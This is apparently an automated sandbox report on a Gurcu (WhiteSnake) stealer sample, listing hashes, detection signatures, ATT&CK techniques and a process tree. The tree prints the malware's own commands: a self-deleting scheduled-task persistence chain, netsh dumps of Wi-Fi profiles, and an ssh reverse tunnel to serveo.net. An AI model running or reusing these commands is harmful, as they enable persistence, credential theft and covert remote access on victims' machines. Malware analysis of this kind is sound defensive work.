gurcu | fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

Analysis

max time kernel
46s
max time network
84s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
06-10-2023 16:24

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General

Target

NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Size

225KB
MD5

1edb8aa1adacda31bc98064b1634ddea
SHA1

7dc5aee1dd577b61a41a5001d465f0606bb33618
SHA256

fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
SHA512

26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a
SSDEEP

3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 4 IoCs

resource	yara_rule
behavioral2/memory/4868-0-0x0000016785660000-0x000001678569E000-memory.dmp	family_gurcu_v3
behavioral2/files/0x0007000000023261-8.dat	family_gurcu_v3
behavioral2/files/0x0007000000023261-9.dat	family_gurcu_v3
behavioral2/files/0x0007000000023261-17.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Executes dropped EXE 2 IoCs

pid	Process
4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
3800	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2736	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4436	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4868	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
Token: SeDebugPrivilege	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4868 wrote to memory of 5108	4868	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	85
PID 4868 wrote to memory of 5108	4868	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	85
PID 5108 wrote to memory of 3444	5108	cmd.exe	87
PID 5108 wrote to memory of 3444	5108	cmd.exe	87
PID 5108 wrote to memory of 4436	5108	cmd.exe	88
PID 5108 wrote to memory of 4436	5108	cmd.exe	88
PID 5108 wrote to memory of 2736	5108	cmd.exe	95
PID 5108 wrote to memory of 2736	5108	cmd.exe	95
PID 5108 wrote to memory of 4744	5108	cmd.exe	96
PID 5108 wrote to memory of 4744	5108	cmd.exe	96
PID 4744 wrote to memory of 3648	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	99
PID 4744 wrote to memory of 3648	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	99
PID 3648 wrote to memory of 384	3648	cmd.exe	101
PID 3648 wrote to memory of 384	3648	cmd.exe	101
PID 3648 wrote to memory of 2212	3648	cmd.exe	102
PID 3648 wrote to memory of 2212	3648	cmd.exe	102
PID 3648 wrote to memory of 4348	3648	cmd.exe	103
PID 3648 wrote to memory of 4348	3648	cmd.exe	103
PID 4744 wrote to memory of 2772	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	104
PID 4744 wrote to memory of 2772	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	104
PID 2772 wrote to memory of 2600	2772	cmd.exe	106
PID 2772 wrote to memory of 2600	2772	cmd.exe	106
PID 2772 wrote to memory of 4988	2772	cmd.exe	107
PID 2772 wrote to memory of 4988	2772	cmd.exe	107
PID 2772 wrote to memory of 4628	2772	cmd.exe	108
PID 2772 wrote to memory of 4628	2772	cmd.exe	108
PID 4744 wrote to memory of 4608	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	109
PID 4744 wrote to memory of 4608	4744	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3444
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4436
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:2736
- - C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:4744
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3648
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:384
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:2212
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:4348
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2772
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2600
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:4988
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:4628
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:4921 serveo.net
      4⤵
      PID:4608

C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe
1⤵
- Executes dropped EXE
PID:3800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\NEAS.fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575exe_JC.exe

Filesize
225KB

MD5
1edb8aa1adacda31bc98064b1634ddea

SHA1
7dc5aee1dd577b61a41a5001d465f0606bb33618

SHA256
fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

SHA512
26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

Download Submit
C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

Filesize
4B

MD5
b64a70760bb75e3ecfd1ad86d8f10c88

SHA1
d4145ccf0639a20492c5bf0f1b53008f66d3dc8c

SHA256
a815067c3d78312c270b68cbf0e751ca8f7ff33c3984e3dff6f21f749ecc8141

SHA512
9d3a0504ce4d25859b9725d7ef778140750ac7911b3569e06ba4a6c4551c3072ae4711b50367b53f9dceb7ba0d3656c94560029f9581e64f008cd2ad1ec3eaba

Download Submit
memory/3800-18-0x00007FFB3EC70000-0x00007FFB3F731000-memory.dmp

Filesize
10.8MB

Download
memory/4744-15-0x00007FFB3EC70000-0x00007FFB3F731000-memory.dmp

Filesize
10.8MB

Download
memory/4744-11-0x00007FFB3EC70000-0x00007FFB3F731000-memory.dmp

Filesize
10.8MB

Download
memory/4744-12-0x0000023433890000-0x00000234338A0000-memory.dmp

Filesize
64KB

Download
memory/4744-16-0x0000023433890000-0x00000234338A0000-memory.dmp

Filesize
64KB

Download
memory/4868-0-0x0000016785660000-0x000001678569E000-memory.dmp

Filesize
248KB

Download
memory/4868-6-0x00007FFB40CA0000-0x00007FFB41761000-memory.dmp

Filesize
10.8MB

Download
memory/4868-4-0x000001679FDA0000-0x000001679FDB0000-memory.dmp

Filesize
64KB

Download
memory/4868-1-0x00007FFB40CA0000-0x00007FFB41761000-memory.dmp

Filesize
10.8MB

Download